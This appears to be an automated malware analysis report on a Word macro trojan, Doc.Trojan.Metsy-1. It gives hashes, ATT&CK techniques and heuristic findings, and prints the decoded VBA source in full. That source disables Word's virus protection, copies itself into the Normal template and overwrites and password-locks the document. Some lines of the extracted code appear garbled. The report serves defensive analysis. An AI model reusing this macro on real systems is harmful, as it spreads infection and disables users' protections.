Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2993339c56dedf7d…

MALICIOUS

Office (OLE)

29.0 KB Created: 2001-01-05 15:33:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: cc0363e17b9a6621bee79ab79345b6db SHA-1: 4e8c221d914b3105648e2d1af7bfe87259077a22 SHA-256: 2993339c56dedf7d87aa28f77bfade5ba7a13867a96b6e8ae1be9dd431b2fb6f
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious Office documents. The macro presents a deceptive birthday lottery to the user, and upon losing, it attempts to overwrite the document content with 'YOU LOSE!' and save it with a password. It also attempts to export a component to 'C:\System.dat', suggesting a downloader or dropper functionality.

Heuristics 3

  • ClamAV: Doc.Trojan.Metsy-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Metsy-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2452 bytes
SHA-256: 9338bcbd2d54829a88e155c26818a6ce22e548a96087a910a51a491b3c385b18
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True





Private Sub Document_Open()
If Day(Date) = 18 And Month(Date) = 9 Then
     MsgBox "Happy Birthday Jess! To celebrate, we're going to see how lucky you are " & Application.UserName & ". Click the OK button below to roll a number. If your number matches that of the dealer, you win!"
     x = Int((9 * Rnd) + 1)
     y = Int((9 * Rnd) + 1)
          If x = y Then
               MsgBox "You roll a " & x & " and the dealer rolls a " & y & ". You win!"
               Exit Sub
          Else
               MsgBox "You roll a " & x & " and the dealer rolls a " & y & ". I'm sorry, but you lost. Better luck next time!"
               For i = 1 To 14
                    RndNumber = Int((9 * Rnd) + 0)
h
               Next i
                    ActiveDocument.Words.First = "YOU LOSE! "
                    
                    
holly
cument.Password = holly

                    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
                    
          End If
End If
Exit Sub
End Sub

Private Sub Document_Close()
On Error GoTo Out
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
If nt > 55 And ad > 0 Then GoTo Out
If nt < 55 Then
     Set host = NormalTemplate.VBProject.VBComponents.Item(1)
     ActiveDocument.VBProject.VBComponents(1).Export "C:\System.dat"
     host.codemodule.AddFromFile ("C:\System.dat")
     With host.codemodule
     For x = 1 To 4
     .DeleteLines 1
     Next x
     End With
     Kill ("C:\System.dat")
End If
If ad = 0 Then
     Set host = ActiveDocument.VBProject.VBComponents.Item(1)
     NormalTemplate.VBProject.VBComponents(1).Export "C:\System.dat"
     host.codemodule.AddFromFile ("C:\System.dat")
     With host.codemodule
     For x = 1 To 4
     .DeleteLines 1
     Next x
     End With
     Kill ("C:\System.dat")
End If
Out:
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub

Sub ToolsMacro()
End Sub
Sub FileTemplates()
End Sub
Sub ViewVBCode()
End Sub